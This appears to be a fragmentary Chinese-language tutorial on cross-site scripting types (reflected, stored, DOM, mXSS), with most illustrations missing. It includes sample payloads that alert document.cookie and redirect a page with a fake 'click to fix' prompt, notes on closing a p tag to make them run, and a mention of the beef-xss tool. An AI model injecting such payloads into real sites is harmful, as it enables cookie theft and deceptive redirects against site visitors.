摘要

XSS

​​

1.反射型XSS

​ ​ ​ ​ 
1
<script>alert("点击此处修复");location.href="https://www.baidu.com"</script>
​ ​ 
1
<script>alert(document.cookie);</script>
​

例二：

​ ​

并没有被当作脚本执行。

发现我们输入的脚本在p标签中。我们可以闭合p标签。

​ ​

成功执行。

​

2.存储型xss

​ ​ ​ ​

每次刷新网站都会弹出。

​ ​ ​ ​ ​ ​

beef-xss为kali自带。

​ ​ ​ ​ ​

3.DOM型XSS

​ ​ ​ ​ ​ ​ ​

4.mXSS

​ ​ ​ ​ ​

‍